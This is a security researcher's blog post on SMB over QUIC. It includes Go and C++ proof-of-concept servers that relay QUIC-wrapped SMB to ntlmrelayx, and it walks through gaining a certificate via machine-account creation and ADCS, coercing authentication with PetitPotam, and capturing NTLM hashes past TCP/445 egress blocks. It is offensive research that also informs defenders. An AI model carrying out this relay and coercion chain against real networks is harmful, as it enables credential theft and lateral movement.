Making SMB Accessible with NTLMquic
This week, I dusted off my reading list and saw that I'd previously bookmarked an interesting article about the introduction of SMB over QUIC. The article from Microsoft showed that Windows was including support for SMB to be used over the QUIC protocol, which should immediately spark interest for anyone who includes SMB attacks as part of their kill chain.
With support for this technology baked into Windows 11 and Server 2022, I thought that it was probably a good time to look and answer some of the questions I had about how useful this technology is going to be during an engagement. So, in this post, we'll dig into just how this technology works, answer some of the immediate questions around which attacks are feasible, and show how we can repurpose some existing tooling.
How Does it Work?
There are plenty of articles explaining the QUIC protocol, so for this post, we'll focus on the parts we need to understand when focused on SMB. First, SMB over QUIC uses UDP port 443. A TLS connection is established, and the TLS ALPN extension is used to select the "smb" protocol:
To play around with this beyond just reading the spec, let's create a very simple QUIC server that can handle inbound connections. To do this, we'll use golang, which offers a few options for QUIC packages. The one we'll use for this will be quic-go:
package main
import (
"context"
"crypto/tls"
"fmt"
"github.com/lucas-clemente/quic-go"
)
func main() {
// Set up our TLS
tlsConfig, err := configureTLS()
if err != nil {
fmt.Println("[!] Error grabbing TLS certs")
return
}
// We're listening on UDP/443 for this
listener, err := quic.ListenAddr("0.0.0.0:443", tlsConfig, nil)
if err != nil {
fmt.Println("[!] Error binding to UDP/443")
return
}
fmt.Println("[*] Started listening on UDP/443")
// Accept inbound connection
session, err := listener.Accept(context.Background())
if err != nil {
fmt.Println("Error accepting connection from client")
return
}
fmt.Printf("[*] Accepted connection: %s\n", session.RemoteAddr().String())
// Setup stream
_, err = session.AcceptStream(context.Background())
if err != nil {
fmt.Println("Error accepting stream from QUIC client")
}
fmt.Printf("[*] Stream setup successfully with: %s\n", session.RemoteAddr().String())
}
func configureTLS() (*tls.Config, error) {
cer, err := tls.LoadX509KeyPair("server.crt", "server.key")
if err != nil {
return nil, fmt.Errorf("Could not load server.crt and server.key")
}
// ALPN as SMB
return &tls.Config{
Certificates: []tls.Certificate{cer},
NextProtos: []string{"smb"},
}, nil
}
Next, we'll need some TLS certificates to work with. Let's generate a self-signed certificate for this POC using OpenSSL:
openssl req -x509 -nodes -newkey rsa:4096 -keyout server.key -out server.crt -days 365
And with that, we can fire up our test with:
go run ./main.go
With our simple QUIC server now listening, we'll kick off a connection from a Windows 11 machine. To do this, we can use the following net.exe
options to ignore the untrusted TLS certificate:
NET USE /TRANSPORT:QUIC /skipcertcheck \\OURHOST\c$
And if everything goes well, we'll have our connection logged and showing that the connection has been made and everything is working over QUIC as expected:
SMB Over the Internet?
Yes. Actually, this is something called out several times in documentation.
SMB over QUIC offers an "SMB VPN" for telecommuters, mobile device users, and high security organizations. The server certificate creates a TLS 1.3-encrypted tunnel over the internet-friendly UDP port 443 instead of the legacy TCP port 445.
The wording is a little strange, and I'm still not too sure why the term "SMB VPN" is used, but as we'll see in a moment, the implementation is actually very straightforward.
To see this in action over the Internet, let's take our above POC and spin up an EC2 host with a valid certificate. We can create our required certificate with letsencrypt:
certbot certonly --standalone
Once we have our certificate, we can spin up the POC and see that everything works just fine when we attempt to connect from our Windows 11 box: https://youtu.be/4t5ffdjtHMQ
As an attacker, I find it particularly interesting that this uses a protocol shared with the HTTP/3 standard. This means that the days of ensuring TCP/445 is blocked outbound may be coming to an end (although security products inspecting the ALPN protocol will give away the SMB protocol being used).
Please note that this doesn't change the requirements around auto sending of NTLM handshakes. The usual Intranet zone rules apply here!
Do We Need New Tooling?
Not really. While the transport protocol has changed from TCP to UDP and is now encapsulated within QUIC, the underlying SMB protocol remains the same. What this means is that, rather than attempting to reinvent the wheel, we can instead create a simple wrapper and continue to use existing tooling in many situations.
Let's use ntlmrelayx as our test case here and attempt to proxy an inbound QUIC connection over to localhost on TCP/445. To do this, we'll expand our above POC tool and simply relay inbound connections over to TCP/445:
package main
import (
"context"
"crypto/tls"
"fmt"
"net"
"github.com/lucas-clemente/quic-go"
)
const BUFFER_SIZE = 11000
func startQuicServer(tlsConfig *tls.Config) error {
quicListener, err := quic.ListenAddr("0.0.0.0:443", tlsConfig, nil)
if err != nil {
return fmt.Errorf("Error binding to UDP/443")
}
fmt.Println("[*] Started listening on UDP/443")
for {
session, err := quicListener.Accept(context.Background())
if err != nil {
fmt.Println("[!] Error accepting connection from client")
continue
}
fmt.Printf("[*] Accepted connection from %s\n", session.RemoteAddr().String())
stream, err := session.AcceptStream(context.Background())
if err != nil {
fmt.Println("[!] Error accepting stream from QUIC client")
}
go func() {
tcpConnection, err := net.Dial("tcp", "localhost:445")
if err != nil {
fmt.Println("[!] Error connecting to localhost:445")
return
}
fmt.Println("[*] Connected to localhost:445\n[*] Starting relaying process...")
dataBuffer := make([]byte, BUFFER_SIZE)
for {
dataCount, err := stream.Read(dataBuffer)
if err != nil {
return
}
dataCount, err = tcpConnection.Write(dataBuffer[0:dataCount])
if err != nil || dataCount == 0 {
return
}
dataCount, err = tcpConnection.Read(dataBuffer)
if err != nil {
return
}
dataCount, err = stream.Write(dataBuffer[0:dataCount])
if err != nil || dataCount == 0 {
return
}
}
}()
}
return nil
}
func main() {
fmt.Println("SMB over QUIC Termination POC by @_xpn_")
tlsConfig, err := configureTLS()
if err != nil {
fmt.Println("[!] Error grabbing TLS certs")
return
}
err = startQuicServer(tlsConfig)
if err != nil {
fmt.Println("[!] " + err.Error())
}
}
func configureTLS() (*tls.Config, error) {
cer, err := tls.LoadX509KeyPair("server.crt", "server.key")
if err != nil {
return nil, fmt.Errorf("Could not load server.crt and server.key")
}
// ALPN as SMB
return &tls.Config{
Certificates: []tls.Certificate{cer},
NextProtos: []string{"smb"},
}, nil
}
Also, for this to work in the field, we're going to need a certificate, otherwise connection attempts are just going to drop. If we are operating from a *nix box and the environment has a ADCS role deployed, we can go for something like Impacket's addcomputer.py
to create a new machine account that we can then request a certificate for:
Now we have our machine account created (you'll need to make sure this is via LDAPS to have the dNSHostName
attribute set), we can then request our certificate from the CA:
Finally we add in our DNS records to allow the target to use our correct certificate:
At this point, we'd normally look at Responder to capture hashes, but as we are now using the FQDN to allow our certificate to work, which will first trigger a Kerberos authentication request, it appears that Responder doesn't handle this too well. So instead, we'll use ntlmrelayx to grab hashes for us. We again head to net.exe
on our Windows 11 system and see that everything works just fine:
And now if we look in our cred file, we see that cred capture works just like normal:
How Can We Trigger SMB Over QUIC?
So, on Windows 11, SMB over QUIC is enabled by default, and will be attempted when a TCP connection to the typical 445 port fails. For example, if we head to Explorer and attempt to navigate to \\something\testshare
, SMB over QUIC will be attempted if the initial TCP connection cannot be made:
This means that the protocol is useful for us attackers when encountering those subnets that explicitly block TCP/445 but allow other ports and protocols to traverse.
But what about if we want to use something like PetitPotam? I s it possible to trigger SMB over QUIC using something like this? To answer this, we'll dig very briefly into what makes PetitPotam work.
As you likely know by now, Microsoft only patched the first few documented RPC methods from the PetitPotam vulnerability, so as we're going after Windows Server 2022, we'll need to focus on the unpatched methods. We'll use the AddUsersToFile
RPC method as our candidate here. The PetitPotam RPC methods are handled within efslsaext.dll
, so let's throw this into Ghidra and see what causes the authentication coercion.
If we look at EfsRpcAddUsersToFileEx_Downlevel
, we see reference to a method of EfsEnsureLocalPath,
which takes the path provided from the RPC call:
Through this method, we get our answer about what causes the authentication attempt, a nice CreateFileW
call where we control the filename parameter:
This matches the scenario we used above in Explorer, so everything should work fine, but to be sure, let's attempt to trigger PotitPotam's AddUsersToFile
method and see if we get our connect back over QUIC:
How Can We Use This on a Windows Compromised Host?
For this very scenario, Microsoft has created a library called "msquic" that we can use (in fact, this library is also used for the underlying QUIC client shipped with Windows 11). There are a few caveats, as with the above scenarios, in that we need a certificate to start up our server. Thankfully, in Windows domain environments with certificate services enabled, we normally have the ability to either request a certificate for the active server, or find that the server already has a certificate deployed.
The nice thing about using QUIC on Windows is that it's likely that UDP/443 hasn't already been bound, unlike TCP/445, meaning that as long as we have a certificate, we should be in a good position to start listening for inbound SMB over QUIC connections.
It is worth noting that msquic comes with support for schannel on Windows 11 and Server 2022, and OpenSSL for other versions of Windows. The main difference for us will be the use of the certificate store. For example, if we are in a situation where the certificate store holds a cert for the host, we can just reference this cert without having to go through the hassle of exporting:
BOOLEAN QuicServer::ServerLoadConfiguration(const char *hash, const char *path, const char *pathPrivate) {
QUIC_SETTINGS Settings = { 0 };
QUIC_CREDENTIAL_CONFIG_HELPER Config;
QUIC_STATUS Status = QUIC_STATUS_SUCCESS;
Settings.IdleTimeoutMs = IdleTimeoutMs;
Settings.IsSet.IdleTimeoutMs = TRUE;
Settings.ServerResumptionLevel = QUIC_SERVER_RESUME_AND_ZERORTT;
Settings.IsSet.ServerResumptionLevel = TRUE;
Settings.PeerBidiStreamCount = 1;
Settings.IsSet.PeerBidiStreamCount = TRUE;
memset(&Config, 0, sizeof(Config));
if (hash != NULL) {
// We try and use a certificate from the certificate store
Config.CredConfig.Flags = QUIC_CREDENTIAL_FLAG_NONE;
Config.CredConfig.Type = QUIC_CREDENTIAL_TYPE_CERTIFICATE_HASH_STORE;
uint32_t CertHashLen = DecodeHexBuffer(hash, sizeof(Config.CertHashStore.ShaHash), Config.CertHashStore.ShaHash);
if (CertHashLen != sizeof(Config.CertHashStore.ShaHash)) {
return FALSE;
}
strncpy_s(Config.CertHashStore.StoreName, DEFAULT_CERT_STORE, 2);
Config.CertHashStore.Flags = QUIC_CERTIFICATE_HASH_STORE_FLAG_MACHINE_STORE;
Config.CredConfig.CertificateHashStore = &Config.CertHashStore;
}
else {
// We use the provided key/cert from the parameters
Config.CredConfig.Flags = QUIC_CREDENTIAL_FLAG_NONE;
Config.CredConfig.Type = QUIC_CREDENTIAL_TYPE_CERTIFICATE_FILE;
Config.CertFile.CertificateFile = this->_path;
Config.CertFile.PrivateKeyFile = this->_privatePath;
Config.CredConfig.CertificateFile = &Config.CertFile;
}
if (QUIC_FAILED(Status = MsQuic->ConfigurationOpen(this->_registration, &Alpn, 1, &Settings, sizeof(Settings), NULL, &this->_configuration))) {
printf("[!] ConfigurationOpen error [0x%x]\n", Status);
return FALSE;
}
if (QUIC_FAILED(Status = MsQuic->ConfigurationLoadCredential(this->_configuration, &Config.CredConfig))) {
printf("[!] ConfigurationLoadCredential error [0x%x]\n", Status);
return FALSE;
}
return TRUE;
}
As with our previous example, this POC just forwards any SMB over QUIC requests to existing tooling: https://youtu.be/rgGgFloZbJ0
The code for all of the examples in this post can be found here.